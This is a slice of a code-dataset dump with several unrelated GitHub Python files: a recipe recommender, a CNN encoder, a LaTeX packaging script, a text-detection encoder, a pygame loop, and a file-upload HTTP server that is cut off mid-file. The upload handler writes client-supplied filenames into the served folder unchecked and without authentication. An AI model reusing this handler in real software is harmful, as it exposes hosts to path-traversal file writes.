Dict, Iterable, List, Union\n\nimport numpy as np\nimport pandas as pd\nfrom annoy import AnnoyIndex\n\nfrom recipe_rec.utilities import get_dataset\n\n\ndef build_timer(f):\n \"\"\"\n Decorator used to measure the time to build a recommender system.\n \"\"\"\n\n def inner(self, *args, **kwargs):\n\n start: int = time.time_ns()\n\n f(self, *args, **kwargs)\n\n end: int = time.time_ns()\n\n self.build_time: int = end - start\n\n return inner\n\n\ndef rec_timer(f):\n \"\"\"\n Decorator used to measure the time for a system to produce a recommendation and\n updates the object's store of all recommendation execution times, re-calculating the average.\n \"\"\"\n\n def inner(self, *args, **kwargs):\n\n start: int = time.time_ns()\n\n ret: Any = f(self, *args, **kwargs)\n\n end: int = time.time_ns()\n\n self.rec_times[\"times\"].append(end - start)\n self.rec_times[\"avg\"] = sum(self.rec_times[\"times\"]) / len(\n self.rec_times[\"times\"]\n )\n\n return ret\n\n return inner\n\n\nclass RecommenderSystem:\n \"\"\"\n A base class for recipe recommender systems.\n \"\"\"\n\n # recipes = store[\"recipes\"]\n # unique_ingredients = store[\"unique_ingredients\"]\n\n def __init__(self) -> None:\n\n # common attributes among all systems\n self.recipes = get_dataset()\n\n # unique ID for the class' instantiation\n self.execution_id: str = str(uuid.uuid4().hex)\n # filepaths of associated disk data\n self.disk_data: Dict[str, Path] = {}\n\n self.rec_times: Dict[str, Union[List[int], float]] = {\"times\": [], \"avg\": 0.0}\n\n def build_ingredient_index(self, num_trees: int, out_path: Path) -> None:\n \"\"\"\n Builds an `AnnoyIndex` of ingredients, allowing for easy ingredient recommendation.\n\n Parameters:\n - `num_trees: int`: the number of trees to use when building the `AnnoyIndex`.\n - `out_path: pathlib.Path`: the filepath to write the `AnnoyIndex` to.\n\n \"\"\"\n\n ingredient_embeddings: List[np.array] = []\n # get vectors for each ingredient using recipe vectorizer\n for ingredient in self.unique_ingredients:\n\n ingredient_embed: np.array = self.recipe_vectorizer([ingredient])\n\n ingredient_embeddings.append(ingredient_embed)\n\n self.build_index(\n iterable=ingredient_embeddings,\n num_trees=num_trees,\n out_path=out_path,\n recipe_index=False,\n )\n\n def build_index(\n self,\n iterable: Iterable,\n num_trees: int,\n out_path: Union[Path, None],\n recipe_index: bool = True,\n ) -> None:\n \"\"\"\n Builds an `AnnoyIndex`, populating it using an iterable of vectors. The index of each vector in the iterable is used\n as its index in the index. The resulting index is written to disk if `out_path` is not `None`.\n\n Parameters:\n - `iterable: Iterable`: an iterable containing vectors to write into the `AnnoyIndex`.\n - `num_trees: int`: the number of trees to use when constructing the `AnnoyIndex`.\n - `out_path: Union[Path, None]`: the filepath to write the `AnnoyIndex` to. If `None`, the index is not written to disk.\n - `recipe_index: bool = True`: if `True`, the index is set as the class' `recipe_index` attribute. Otherwise, the index is an\n ingredient index and is set as the class' `ingredient_index` attribute`.\n \"\"\"\n\n # create index using class attributes\n index: AnnoyIndex = AnnoyIndex(self.vec_size, self.index_distance_metric)\n\n # populate index\n for i, v in enumerate(iterable):\n index.add_item(i, v)\n\n # build and save\n index.build(num_trees)\n\n if out_path is not None:\n\n # convert to str; annoy doesn't support pathlib\n out_path_str = out_path.absolute().as_posix()\n index.save(out_path_str)\n\n # set to relevant class attribute\n if recipe_index:\n self.recipe_index: AnnoyIndex = index\n else:\n self.ingredient_index: AnnoyIndex = index\n\n def load_index(self, index_path: Path, recipe_index: bool = True) -> None:\n \"\"\"\n Loads an `AnnoyIndex` from disk and sets it as the appropriate class attribute.\n\n Parameters:\n - `index_path: pathlib.Path`: the path to load the `AnnoyIndex` from.\n - `recipe_index: bool = True`: if True, the index is stored at the `recipe_index` of the class. Otherwise, the index is\n stored at the `ingredient_index` attribute.\n \"\"\"\n\n index_path_str = index_path.absolute().as_posix()\n\n index: AnnoyIndex = AnnoyIndex(self.vec_size, self.index_distance_metric)\n index.load(index_path_str)\n\n if recipe_index:\n self.recipe_index = index\n else:\n self.ingredient_index = index\n\n @rec_timer\n def get_recommendations(\n self,\n recipe: List[str],\n n_recommendations: int = 10,\n search_id: int = None,\n get_recipes: bool = True,\n ) -> Union[pd.DataFrame, List[str]]:\n \"\"\"\n Creates a recipe vector from a list of ingredients and queries the Annoy index for the `n_recommendations` nearest neighbours.\n Raises a `KeyError` if the recipe cannot be vectorized.\n\n Parameters\n - `recipe`: `List[str]`: a list of string ingredients\n - `n_recommendations`: `int = 10`: the number of recommendations to return\n - `search_id: int = None`: the index of the querying recipe. If not `None`, this recipe will not be returned as a recommendation.\n - `get_recipes: bool = True`: if True, recommends recipes; if False, reccommends ingredients\n Returns:\n - `Union[pd.DataFrame, List[str]`, a sorted DataFrame of the recommended recipes, or a list of recommended ingredients.\n \"\"\"\n\n try:\n\n # get the vector of the recipe\n recipe_vec: np.array = self.recipe_vectorizer(recipe)\n\n if get_recipes:\n # get closest vectors from the dataset\n rec_indexes: List[int] = self.recipe_index.get_nns_by_vector(\n recipe_vec, n_recommendations\n )\n\n else:\n # get closest vectors from the ingredients dataset\n rec_indexes: List[int] = self.ingredient_index.get_nns_by_vector(\n recipe_vec, n_recommendations\n )\n\n # if there is a search id\n if search_id is not None:\n\n # if the search is in the results\n if search_id in rec_indexes:\n\n if get_recipes:\n # get another recommenation (shouldn't be the same one again)\n rec_indexes = self.recipe_index.get_nns_by_vector(\n recipe_vec, n_recommendations + 1\n )\n else:\n # get another recommenation (shouldn't be the same one again)\n rec_indexes = self.ingredient_index.get_nns_by_vector(\n recipe_vec, n_recommendations + 1\n )\n # filter out the search query\n rec_indexes = [rec for rec in rec_indexes if rec != search_id]\n\n if get_recipes:\n # map recommendations to recipes\n recs: pd.DataFrame = self.recipes.iloc[rec_indexes].copy()\n else:\n # map recommendations to ingredients\n recs: List[str] = [self.unique_ingredients[i] for i in rec_indexes]\n\n return recs\n\n except KeyError:\n raise ValueError(\n \"One of the given ingredients did not exist in the training dataset.\"\n )\n","repo_name":"jakekadir/diss","sub_path":"recipe_rec/recommender_system.py","file_name":"recommender_system.py","file_ext":"py","file_size_in_byte":7969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21293388240","text":"import torch\nimport torch.nn as nn\n\nclass CNN_Encoder(torch.nn.Module):\n \"\"\"\n Basic logistic regression on 3x244x244 images.\n \"\"\"\n\n def __init__(self, units, embedding_dim, dropout_pct=0, \n model_name='resnet18', freeze_CNN=True):\n super().__init__()\n self.conv = nn.Conv2d(3, 3, kernel_size=7, stride=2, padding=3)\n tempmodel = torch.hub.load('pytorch/vision:v0.9.0', model_name, \n pretrained=True)\n\n if freeze_CNN: # freezing the transfer learning model params\n for param in tempmodel.parameters():\n param.requires_grad = False\n \n self.resnet = torch.nn.Sequential(*(list(tempmodel.children())[:-1]))\n self.fc1 = nn.Linear(units, units)\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(p=dropout_pct)\n self.bnfc1 = nn.BatchNorm1d(units)\n self.fc2 = nn.Linear(units, embedding_dim)\n\n\n def forward(self, x):\n unsqueeze_bool = False\n if(x.shape[0]) == 1:\n unsqueeze_bool = True\n x = self.relu(self.conv(x))\n x = self.resnet(x)\n x = torch.squeeze(x) # flatten\n if unsqueeze_bool:\n x = torch.unsqueeze(x, 0)\n x = self.fc1(x)\n x = self.relu(x)\n #print(x.shape)\n x = self.bnfc1(self.dropout(x))\n x = self.fc2(x)\n return x","repo_name":"amanongithub7/bias-in-caption-generation","sub_path":"image-caption-generator/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70000932072","text":"#!/usr/bin/env python3\n\"\"\"\nMake a distributable .zip file for a .tex source.\n\nThe .zip file includes all files that are used by the root .tex source. Users\nshould be able to compile the document using only the files in the .zip and\nstandard LaTeX packages.\n\nSome mild cleaning is performed on the source file, in particular removing any\n\\\\graphicspath commands and adjusting \\\\bibliography commands if an xbib\nfile is provided.\n\"\"\"\nimport sys\nimport os\nimport argparse\nimport subprocess\nimport re\nimport zipfile\n\nparser = argparse.ArgumentParser(add_help=False, epilog=__doc__)\nparser.add_argument(\"--help\", action=\"help\", help=\"print help\")\nparser.add_argument(\"--include-texmf-home\", action=\"store_true\",\n help=\"include files in user's texmf home directory\")\nparser.add_argument(\"--xbib\",\n help=\"extracted .bib file to use in bibliographies\")\nparser.add_argument(\"--output\", help=\"name for output .zip file\")\nparser.add_argument(\"texfile\", help=\".tex file to distribute\")\n\ndef getincludedfiles(texbase, texmfhome=False, bib=False):\n \"\"\"Returns a list of included files by reading a .fls file.\"\"\"\n # Grab all raw filenames.\n rawfiles = set()\n with open(texbase + \".fls\", \"r\") as fls:\n for line in fls:\n (prefix, file) = line.strip().split(\" \", maxsplit=1)\n if prefix == \"INPUT\":\n rawfiles.add(file)\n \n # Choose which files to keep.\n texdir = os.path.dirname(texbase)\n keepexts = {\".sty\", \".cls\", \".tex\", \".pdf\"}\n if bib:\n keepexts.add(\".bib\")\n if texmfhome:\n texmfhome = kpsewhich(\"--var-val\", \"TEXMFHOME\")\n else:\n texmfhome = None\n files = []\n for file in rawfiles:\n (_, fileext) = os.path.splitext(file)\n if fileext in keepexts:\n filedir = os.path.dirname(file)\n if filedir == \"\" or filedir.startswith(\".\"):\n files.append(os.path.join(texdir, file))\n elif texmfhome is not None:\n if file.startswith(texmfhome):\n files.append(file)\n \n # Do not include base .tex file.\n texbase = texbase + \".tex\"\n if texbase in files:\n files.remove(texbase)\n return files\n\n\ndef kpsewhich(*args):\n \"\"\"Runs kpsewhich and returns output.\"\"\"\n kpsewhich = subprocess.run([\"kpsewhich\"] + list(args),\n stdout=subprocess.PIPE)\n output = kpsewhich.stdout.decode().strip()\n return output\n\n\ndef maketexdist(texfile, output=None, include_texmf_home=False, xbib=None):\n \"\"\"Makes a distributable .zip file for a .tex source.\"\"\"\n (texbase, ext) = os.path.splitext(texfile)\n if ext != \".tex\":\n raise ValueError(\"File '{}' is not a .tex file!\".format(texfile))\n if output is None:\n output = texbase + \".zip\"\n \n # Get files to copy and write to .zip.\n includedfiles = getincludedfiles(texbase, texmfhome=include_texmf_home)\n with zipfile.ZipFile(output, \"w\") as dist:\n # Standard included files.\n for file in includedfiles:\n filebase = os.path.basename(file)\n dist.write(file, filebase)\n \n # xbib file.\n if xbib is not None:\n xbibname = os.path.splitext(os.path.basename(xbib))[0] + \".bib\"\n dist.write(xbib, xbibname)\n \n # Cleaned .tex file.\n dist.writestr(os.path.basename(texfile),\n \"\".join(cleantexfile(texfile, xbib=xbib)))\n \n\ndef cleantexfile(texfile, xbib=None):\n \"\"\"Cleans a source .tex file for distribution. Returns a generator.\"\"\"\n if xbib is not None:\n (xbib, _) = os.path.splitext(os.path.split(xbib)[1])\n with open(texfile, \"r\") as tex:\n for line in tex:\n sline = line.lstrip()\n if sline.startswith(\"\\\\graphicspath\"):\n line = \"\"\n if xbib is not None:\n line = re.sub(r\"(\\\\bibliography|\\\\addbibresource)\\{.*\\}\",\n r\"\\1{%s}\" % xbib, line)\n yield line\n\n\ndef main(args):\n \"\"\"Runs main function.\"\"\"\n args = vars(parser.parse_args(args))\n maketexdist(**args)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"rdmcallister/mimpc_cls_talk","sub_path":"script/maketexdist.py","file_name":"maketexdist.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18292633970","text":"'''Encode object boxes and labels.'''\nimport math\nimport torch\nimport numpy as np\nimport cv2\n\nfrom tools.utils import meshgrid, box_iou, change_box_order, softmax,select_top_predictions,convert_angle_into_polygons,convert_angle_into_polygons_and_refine_Diamond_box\nfrom tools.nms_poly import non_max_suppression_poly\nclass DataEncoder:\n def __init__(self, cls_thresh=0.3, nms_thresh=0.1,input_size=768):\n # self.anchor_areas = [32*32., 48*48., 64*64., 96*96., 128*128., 176*176.] #USTB-SV1K\n # self.aspect_ratios = [1., 2., 3., 4., 5., 1. / 3., 1. / 5., 7.]\n # self.anchor_areas = [24 * 24., 64 * 64., 144 * 144., 224 * 224., 304 * 304., 384 * 384.] #MLT-1536\n # self.anchor_areas = [20 * 20., 52 * 52., 120 * 120., 186 * 186., 254 * 254., 320 * 320.] #MLT-1280\n # self.anchor_areas = [16 * 16., 32 * 32., 64 * 64., 128 * 128., 256 * 256, 512 * 512.] #ICDAR2013-768\n # self.anchor_areas = [12 * 12., 32 * 32., 72 * 72., 112 * 112., 152 * 152., 192 * 192.] #MLT-768\n self.anchor_areas = [16 * 16., 32 * 32., 64 * 64., 128 * 128., 256 * 256, 512 * 512.] #MPSC-768,MSRA-TD500-768\n self.aspect_ratios = [1., 2., 3., 5., 1. / 2., 1. / 3., 1. / 5., 7.]\n self.input_size=torch.Tensor([input_size, input_size])\n self.anchor_wh = self._get_anchor_wh()\n self.anchor_rect_boxes = self._get_anchor_boxes(self.input_size)\n self.anchor_quad_boxes = change_box_order(self.anchor_rect_boxes, \"xywh2quad\")\n self.cls_thresh = cls_thresh\n self.nms_thresh = nms_thresh\n def _get_anchor_wh(self):\n '''Compute anchor width and height for each feature map.\n\n Returns:\n anchor_wh: (tensor) anchor wh, sized [#fm, #anchors_per_cell, 2].\n '''\n anchor_wh = []\n for s in self.anchor_areas:\n for ar in self.aspect_ratios: # w/h = ar\n anchor_h = math.sqrt(s/ar)\n anchor_w = ar * anchor_h\n anchor_wh.append([anchor_w, anchor_h])\n\n num_fms = len(self.anchor_areas)\n return torch.FloatTensor(anchor_wh).view(num_fms, -1, 2)\n\n def _get_anchor_boxes(self, input_size):\n '''Compute anchor boxes for each feature map.\n\n Args:\n input_size: (tensor) model input size of (w,h).\n\n Returns:\n boxes: (list) anchor boxes for each feature map. Each of size [#anchors,4],\n where #anchors = fmw * fmh * #anchors_per_cell\n '''\n num_fms = len(self.anchor_areas)\n fm_sizes = [(input_size/pow(2,i+2)).ceil() for i in range(num_fms)] # p2 -> p7 feature map sizes\n\n boxes = []\n for i in range(num_fms):\n fm_size = fm_sizes[i]\n grid_size = input_size / fm_size\n fm_w, fm_h = int(fm_size[0]), int(fm_size[1])\n #fm_w *= 2 # add vertical offset\n xy = meshgrid(fm_w,fm_h) + 0.5 \n xy = (xy*grid_size).view(fm_w,fm_h,1,2).expand(fm_w,fm_h,len(self.aspect_ratios),2)\n\n wh = self.anchor_wh[i].view(1,1,len(self.aspect_ratios),2).expand(fm_w,fm_h,len(self.aspect_ratios),2)\n box = torch.cat([xy,wh], 3) # [x,y,w,h]\n boxes.append(box.view(-1,4))\n return torch.cat(boxes, 0)\n def encode(self, gt_quad_boxes, labels, input_size):\n '''Encode target bounding boxes and class labels.\n\n TextBoxes++ quad_box encoder:\n tx_n = (x_n - anchor_x) / anchor_w\n ty_n = (y_n - anchor_y) / anchor_h\n\n Args:\n gt_quad_boxes: (tensor) bounding boxes of (xyxyxyxy), sized [#obj, 8].\n labels: (tensor) object class labels, sized [#obj, ].\n input_size: (int/tuple) model input size of (w,h).\n\n Returns:\n loc_targets: (tensor) encoded bounding boxes, sized [#anchors,8].\n cls_targets: (tensor) encoded class labels, sized [#anchors,].\n '''\n gt_rect_boxes = change_box_order(gt_quad_boxes, \"quad2xyxy\")\n\n ious = box_iou(self.anchor_rect_boxes, gt_rect_boxes)\n max_ious, max_ids = ious.max(1)\n\n #Each anchor box matches the largest iou with the gt box\n gt_quad_boxes = gt_quad_boxes[max_ids] #(num_gt_boxes, 8)\n gt_rect_boxes = gt_rect_boxes[max_ids] #(num_gt_boxes, 4)\n\n # for Quad boxes\n anchor_boxes_hw = self.anchor_rect_boxes[:, 2:4].repeat(1, 4)\n loc_quad_yx = (gt_quad_boxes - self.anchor_quad_boxes) / anchor_boxes_hw\n\n #loc_targets = torch.cat([loc_rect_yx, loc_rect_hw, loc_quad_yx], dim=1) # (num_anchor, 12)\n loc_targets = loc_quad_yx\n cls_targets = labels[max_ids]\n\n cls_targets[max_ious<0.5] = -1 # ignore (0.4~0.5) : -1\n cls_targets[max_ious<0.4] = 0 # background (0.0~0.4): 0\n # positive (0.5~1.0) : 1\n return loc_targets, cls_targets\n def decode(self, loc_preds, cls_preds, input_size):\n '''Decode outputs back to bouding box locations and class labels.\n\n Args:\n loc_preds: (tensor) predicted locations, sized [#anchors, 8].\n cls_preds: (tensor) predicted class labels, sized [#anchors, ].\n input_size: (int/tuple) model input size of (w,h).\n\n Returns:\n boxes: (tensor) decode box locations, sized [#obj,8].\n labels: (tensor) class labels for each box, sized [#obj,].\n '''\n\n input_size = torch.Tensor([input_size,input_size]) if isinstance(input_size, int) \\\n else torch.Tensor(input_size)\n\n anchor_rect_boxes = self._get_anchor_boxes(input_size).cuda()\n anchor_quad_boxes = change_box_order(anchor_rect_boxes, \"xywh2quad\")\n\n quad_boxes = anchor_quad_boxes + anchor_rect_boxes[:, 2:4].repeat(1, 4) * loc_preds # [#anchor, 8]\n quad_boxes = torch.clamp(quad_boxes, 0, input_size[0])\n\n score, labels = cls_preds.sigmoid().max(1) # focal loss\n #score, labels = softmax(cls_preds).max(1) # OHEM+softmax\n\n # Classification score Threshold\n ids = score > self.cls_thresh\n ids = ids.nonzero().squeeze() # [#obj,]\n\n score = score[ids]\n labels = labels[ids]\n quad_boxes = quad_boxes[ids].view(-1, 4, 2)\n\n quad_boxes = quad_boxes.cpu().data.numpy()\n score = score.cpu().data.numpy()\n\n if len(score.shape) is 0:\n return quad_boxes, labels, score\n else:\n keep = non_max_suppression_poly(quad_boxes, score, self.nms_thresh)\n return quad_boxes[keep], labels[keep], score[keep]\n def refine(self, result, confidence_threshold,nms_thresh,GT_BOX_MARGIN):\n refine_loc=select_top_predictions(result,confidence_threshold)\n bboxes_np=refine_loc.bbox.data.cpu().numpy()\n bboxes_np[:, 2:4] /= GT_BOX_MARGIN\n score = refine_loc.get_field(\"scores\").detach().cpu().numpy()\n boxes=convert_angle_into_polygons(bboxes_np)\n keep = non_max_suppression_poly(boxes, score, nms_thresh)\n return boxes[keep],score[keep]\n def refine_score(self,result, confidence_threshold,nms_thresh,gts_preds,GT_BOX_MARGIN,input_size,lamda):\n num_classes=2\n refine_boxes = result.bbox.reshape(-1, num_classes * 5)\n ###limit size\n scores = result.get_field(\"scores\").reshape(-1, num_classes)\n device = scores.device\n result = []\n # Apply threshold on detection probabilities and apply NMS\n # Skip j = 0, because it's the background class\n inds_all = scores > confidence_threshold\n for j in range(1, num_classes):\n inds = inds_all[:, j].nonzero().squeeze(1)\n scores_j = scores[inds, j].cpu().detach().numpy()\n boxes_j = refine_boxes[inds, j * 5: (j + 1) * 5].cpu().detach().numpy()\n boxes_j[:, 2:4] /= GT_BOX_MARGIN\n #boxes = convert_angle_into_polygons_and_refine_Diamond_box(boxes_j)\n boxes = convert_angle_into_polygons(boxes_j)\n boxes = np.clip(boxes, 0, input_size)\n score=scores_j\n \"\"\"Re_score\"\"\"\n gts = gts_preds[1, :, :].sigmoid().cpu().detach().numpy()\n quad_boxes_rescore = boxes / 4\n polys = np.array(quad_boxes_rescore).reshape((-1, 4, 2)).astype(np.int32)\n if polys.shape[0] == 1:\n text_mask = np.zeros((input_size//4, input_size//4), dtype=np.uint8)\n text_mask = cv2.fillPoly(text_mask, [polys[0]], 1)\n gts_score = (gts * text_mask).sum() / text_mask.sum()\n rescore = 2 * np.exp(gts_score + score) / (np.exp(gts_score) + np.exp(score))\n else:\n rescore = []\n for i, poly in enumerate(polys):\n # generate text mask for per text region poly\n text_mask = np.zeros((input_size//4, input_size//4), dtype=np.uint8)\n text_mask = cv2.fillPoly(text_mask, [poly], 1)\n gts_score = (gts * text_mask).sum() / text_mask.sum()\n rescore.append(np.exp(score[i]) * (1 + lamda * np.exp(gts_score) / np.exp(1 - gts_score)))\n score = np.array(rescore)\n print(boxes.shape)\n keep = non_max_suppression_poly(boxes, score, nms_thresh)\n return boxes[keep], score[keep]\n\n\n","repo_name":"TongkunGuan/RFN","sub_path":"tools/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":9204,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"72"} +{"seq_id":"34666917008","text":"import pygame\nimport sys\n\nfrom states.start import Start\nfrom states.play import Play\nfrom states.gameover import GameOver\n\n\nclass Game:\n\n def __init__(self, name):\n self.name = name\n # make window resizable\n\n self.screen = pygame.display.set_mode((800, 600), pygame.RESIZABLE)\n pygame.display.set_caption(name)\n self.clock = pygame.time.Clock()\n self.state = Start(self)\n self.scaling_factor = 1\n self.origin = (0, 0)\n\n def run(self):\n while True:\n events = pygame.event.get()\n for event in events:\n # handle resize drag\n if event.type == pygame.VIDEORESIZE:\n self.resolution = event.size\n # handle quit\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n self.state = self.state.update(events)\n self.state.draw(self.screen)\n pygame.display.flip()\n self.clock.tick(60)\n\n @property\n def resolution(self):\n return self.screen.get_size()\n\n @resolution.setter\n def resolution(self, value):\n self.screen = pygame.display.set_mode(value, pygame.RESIZABLE)\n self.scaling_factor = min(value[0] / 800, value[1] / 600)\n self.origin = (value[0] / 2 - 400 * self.scaling_factor,\n value[1] / 2 - 300 * self.scaling_factor)\n\n def new_state(self, state_name):\n if state_name == \"gameover\":\n return GameOver(self)\n elif state_name == \"play\":\n return Play(self)\n elif state_name == \"start\":\n return Start(self)\n\n\n","repo_name":"dani0805/SpaceInvaders","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74233696872","text":"#!/usr/bin/env python3\n\n\"\"\"Simple HTTP Server With Folder Upload.\n\nThis module builds on SimpleHTTPServerWithUpload github gists [1] [2]\nand adds folder upload functionality by taking hints from stackoverflow\nanswer [3].\n\n+ Some other improvements and changes.\n+ Async server from [4]\n\n[1] https://gist.github.com/UniIsland/3346170\n[2] https://gist.github.com/touilleMan/eb02ea40b93e52604938\n[3] http://stackoverflow.com/a/37560550\n[4] https://gist.github.com/jdinhlife/1f2e142bbe8036b1a9716f41b8b11ed1\n\"\"\"\n#问题:保存的文件名中文乱码\n#解决:cgi.FieldStorage 出来的数据乱码\n# 默认windows使用gbk编码,而cgi使用了utf8编码,会导致编码损失,变成奇怪符号����boot.txt\n# cgi编码为encoding='utf-8',在传参的时候带上encoding='gbk',然后再重新decode成utf8\n# \n#\n#问题:网页文件夹和名称中文乱码\n#解决:(urllib.parse.quote(linkname), )).encode()+html.escape(displayname).encode(\"gbk\",\"ignore\")+'\\n'.encode())\n\n#问题:localhost正常访问,但127.0.0.1不能访问\n#解决:默认支支持ipv4,不支持ipv6,使用httpserver类似的DualStackServer即可解决\n\n__version__ = \"0.2\"\n__all__ = [\"SimpleHTTPRequestHandler\", \"ThreadingSimpleServer\",\"HTTPServer\", \"ThreadingHTTPServer\", ]\n__author__ = \"saaketp\"\n\nimport os\nimport posixpath\nimport http.server\nimport socketserver\nimport urllib.request, urllib.parse, urllib.error\nimport cgi\nimport shutil\nimport mimetypes\nfrom io import BytesIO\nimport argparse\nimport html\nimport socket\n\n# 获取本机所有 IP 地址\nimport socket\nhostname = socket.gethostname()\nprint ( \"Host name: %s\" %hostname)\nsysinfo = socket.gethostbyname_ex(hostname)\nip_addr = sysinfo[2]\nfor ip in ip_addr:\n print(ip)\n\n\n\nclass SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):\n\n \"\"\"Simple HTTP request handler with GET/HEAD/POST commands.\n\n This serves files from the current directory and any of its\n subdirectories. The MIME type for files is determined by\n calling the .guess_type() method. And can reveive file uploaded\n by client.\n\n The GET/HEAD/POST requests are identical except that the HEAD\n request omits the actual contents of the file.\n\n \"\"\"\n\n server_version = \"SimpleHTTPWithUpload/\" + __version__\n\n def do_GET(self):\n \"\"\"Serve a GET request.\"\"\"\n f = self.send_head()\n if f:\n self.copyfile(f, self.wfile)\n f.close()\n\n def do_HEAD(self):\n \"\"\"Serve a HEAD request.\"\"\"\n f = self.send_head()\n if f:\n f.close()\n\n def do_POST(self):\n \"\"\"Serve a POST request.\"\"\"\n r, info = self.deal_post_data()\n print((r, info, \"by: \", self.client_address))\n f = BytesIO()\n f.write(b'')\n f.write(b\"\\nUpload Result Page\\n\")\n f.write(b\"\\n

            Upload Result Page

            \\n\")\n f.write(b\"
            \\n\")\n if r:\n f.write(b\"Success:\")\n else:\n f.write(b\"Failed:\")\n f.write(info.encode())\n f.write((\"
            back\" % self.headers['referer']).encode())\n f.write(b\"
            \\n\\n\")\n length = f.tell()\n f.seek(0)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Content-Length\", str(length))\n self.end_headers()\n if f:\n self.copyfile(f, self.wfile)\n f.close()\n\n def save_file(self, file, folder):\n outpath = os.path.join(PATH, folder, file.filename)\n outpath1 = os.path.split(outpath)\n os.makedirs(outpath1[0], exist_ok=True)\n if os.path.exists(outpath):\n raise IOError\n with open(outpath, 'wb') as fout:\n shutil.copyfileobj(file.file, fout, 100000)\n\n def deal_post_data(self):\n form = cgi.FieldStorage(fp=self.rfile,\n headers=self.headers,encoding='gbk',\n environ={'REQUEST_METHOD': 'POST'})\n folder = urllib.parse.urlparse(form.headers['Referer']).path[1:]\n saved_fns = \"\"\n try:\n if isinstance(form['file'], list):\n for f in form['file']:\n if f.filename != '':\n saved_fns += \", \" + f.filename\n self.save_file(f, folder)\n else:\n f = form['file']\n if f.filename != '':\n self.save_file(f, folder)\n saved_fns += \", \" + f.filename\n if isinstance(form['dfile'], list):\n for f in form['dfile']:\n if f.filename != '':\n saved_fns += \", \" + f.filename\n self.save_file(f, folder)\n else:\n f = form['dfile']\n if f.filename != '':\n self.save_file(f, folder)\n saved_fns += \", \" + f.filename\n print(saved_fns)\n return (True, \"File(s) \"+saved_fns.encode(\"gbk\",\"ignore\").decode(\"utf-8\",\"ignore\")+\" upload success!\" )\n except IOError:\n return (False, \"Can't create file to write, permission denied?\")\n\n def send_head(self):\n \"\"\"Common code for GET and HEAD commands.\n\n This sends the response code and MIME headers.\n\n Return value is either a file object (which has to be copied\n to the outputfile by the caller unless the command was HEAD,\n and must be closed by the caller under all circumstances), or\n None, in which case the caller has nothing further to do.\n\n \"\"\"\n path = self.translate_path(self.path)\n f = None\n if os.path.isdir(path):\n if not self.path.endswith('/'):\n # redirect browser - doing basically what apache does\n self.send_response(301)\n self.send_header(\"Location\", self.path + \"/\")\n self.end_headers()\n return None\n for index in \"index.html\", \"index.htm\":\n index = os.path.join(path, index)\n if os.path.exists(index):\n path = index\n break\n else:\n return self.list_directory(path)\n ctype = self.guess_type(path)\n try:\n # Always read in binary mode. Opening files in text mode may cause\n # newline translations, making the actual size of the content\n # transmitted *less* than the content-length!\n f = open(path, 'rb')\n except IOError:\n self.send_error(404, \"File not found\")\n return None\n self.send_response(200)\n self.send_header(\"Content-type\", ctype)\n fs = os.fstat(f.fileno())\n self.send_header(\"Content-Length\", str(fs[6]))\n self.send_header(\"Last-Modified\", self.date_time_string(fs.st_mtime))\n self.end_headers()\n return f\n\n def list_directory(self, path):\n \"\"\"Helper to produce a directory listing (absent index.html).\n\n Return value is either a file object, or None (indicating an\n error). In either case, the headers are sent, making the\n interface the same as for send_head().\n\n \"\"\"\n try:\n list = os.listdir(path)\n except os.error:\n self.send_error(404, \"No permission to list directory\")\n return None\n list.sort(key=lambda a: a.lower())\n f = BytesIO()\n displaypath = html.escape(urllib.parse.unquote(self.path))\n f.write(b'')\n f.write((\"\\nDirectory listing for %s\\n\" % displaypath).encode(\"utf-8\"))\n f.write((\"\\n

            Directory listing for %s

            \\n\" % displaypath).encode())\n f.write(b\"
            \\n\")\n f.write(b\"
            \")\n f.write(b\"Files upload:\\t\")\n f.write(b\"\")\n f.write(b\"
            Folder upload:\\t\")\n f.write(b\"\")\n f.write(b\"\\n\")\n f.write(b\"
            \\n
              \\n\")\n for name in list:\n fullname = os.path.join(path, name)\n displayname = linkname = name\n # Append / for directories or @ for symbolic links\n if os.path.isdir(fullname):\n displayname = name + \"/\"\n linkname = name + \"/\"\n if os.path.islink(fullname):\n displayname = name + \"@\"\n # Note: a link to a directory displays with @ and links with /\n #str = (urllib.parse.quote(linkname), html.escape(displayname))\n f.write(('
            • '\n % (urllib.parse.quote(linkname), )).encode()+html.escape(displayname).encode(\"gbk\",\"ignore\")+'\\n'.encode()) #html.escape(displayname)\n #print(html.escape(displayname).encode(\"gbk\").decode('utf-8'))\n # print((\"你好\").encode())\n #chardet.detect('中国')\n f.write(b\"
            \\n
            \\n\\n\\n\")\n length = f.tell()\n f.seek(0)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Content-Length\", str(length))\n self.end_headers()\n return f\n\n def translate_path(self, path):\n \"\"\"Translate a /-separated PATH to the local filename syntax.\n\n Components that mean special things to the local file system\n (e.g. drive or directory names) are ignored. (XXX They should\n probably be diagnosed.)\n\n \"\"\"\n # abandon query parameters\n path = path.split('?', 1)[0]\n path = path.split('#', 1)[0]\n path = posixpath.normpath(urllib.parse.unquote(path))\n words = path.split('/')\n words = [_f for _f in words if _f]\n path = PATH\n for word in words:\n drive, word = os.path.splitdrive(word)\n head, word = os.path.split(word)\n if word in (os.curdir, os.pardir):\n continue\n path = os.path.join(path, word)\n return path\n\n def copyfile(self, source, outputfile):\n \"\"\"Copy all data between two file objects.\n\n The SOURCE argument is a file object open for reading\n (or anything with a read() method) and the DESTINATION\n argument is a file object open for writing (or\n anything with a write() method).\n\n The only reason for overriding this would be to change\n the block size or perhaps to replace newlines by CRLF\n -- note however that this the default server uses this\n to copy binary data as 